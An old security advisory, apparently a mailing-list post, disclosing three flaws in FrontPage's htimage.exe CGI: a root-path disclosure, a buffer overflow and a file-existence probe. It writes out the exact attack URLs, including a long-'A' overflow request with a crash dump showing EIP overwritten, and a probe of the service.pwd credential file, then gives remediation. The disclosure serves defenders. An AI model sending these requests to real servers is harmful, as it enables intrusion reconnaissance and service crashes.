CERN İmage Map Dispatcher
CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with
FrontPage. I
found three bugs
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple
buffer
overflow 3) Allow
us to access files.
Problem #1
~~~~~~~~~~
Like I said, the first bug gives us the full path to the root directory. I
tested this
vulnerability
against some servers, all where vulnerable!
Tested / Vulnerable FP Servers: 3.0.2.926 (FrontPage'98), 3.0.2.1706,
4.0.2.2717,
2.0.1.927, 3.0.2.926,
3.0.2.1105, 3.0.2.1330, 3.0.2.1117 (All Windows based web servers are
vulnerable if we
have premission
to execute "htimage.exe" + If "htimage.exe" exist).
To test this vulnerability we need "htimage.exe" in our "cgi-bin" directory
(it's
installed by default)
and premission to execute it. That's why only Windows is vulnerable, Unix based
systems can't execute
"*.exe" files.
If we access "htimage.exe" using our favorite web browser like:
http://server/cgi-bin/htimage.exe/linux?0,0
we get this error:
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---
Error
Error calling HTImage:
Picture config file not found, tried the following:
q:/hidden_directory_because_of_the_script_kiddies/webroot/linux
/linux
---------------------------------------------------------------------------------
---
Now we know that the path to the root directory is
"q:/hidden_directory_because_of_the_script_kiddies/webroot/".
Problem #2
~~~~~~~~~~
Like I said, simple buffer overflow. Tested against "Microsoft-PWS-95/2.0" and
"FrontPage-PWS32".
Tested / Vulnerable OS: Windows'95/98
"htimage.exe" buffer overflows if we access it like:
http://server/cgi-bin/htimage.exe/<741 A's>?0,0.
---------------------------------------------------------------------------------
---
HTIMAGE caused an invalid page fault in
module <unknown> at 0000:41414141.
Registers:
0EAX=815c6240 CS=0137 EIP=41414141 EFLGS=00010246
EBX=0063fe28 SS=013f ESP=005400b4 EBP=005400d4
ECX=0054015c DS=013f ESI=005401a0 FS=3467
EDX=bff76648 ES=013f EDI=00540184 GS=0000
Bytes at CS:EIP:
Stack dump:
bff7663c 00540184 0063fe28 005401a0 0054015c 00540290 bff76648 0063fe28
0054016c bff85a0a 00540184 0063fe28 005401a0 0054015c 41414141 0054034c
---------------------------------------------------------------------------------
---
<Server still running> + <500 Server Error>
First remote FrontPage exploit?
Problem #3
~~~~~~~~~~
It's not a serious bug. Using "htimage.exe" we can access files on server, but
we can't read them. Accessing "htimage.exe" like:
http://server/cgi-bin/htimage.exe/_vti_pvt/service.pwd?0,0
outputs:
---------------------------------------------------------------------------------
---
Error
Error calling HTImage:
HTImage.c: Syntax error at line 1 Bad field name, expecting 'default',
'rectangle',
'circle' or
'polygon' (got an alphanumeric string)
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---
NOTE: Accessing "/_vti_pvt/service.pwd" outputs : 403 Forbidden
Solution
~~~~~~~~
1) Remove "htimage.exe".
2) Do not use FrontPage, simple enough :)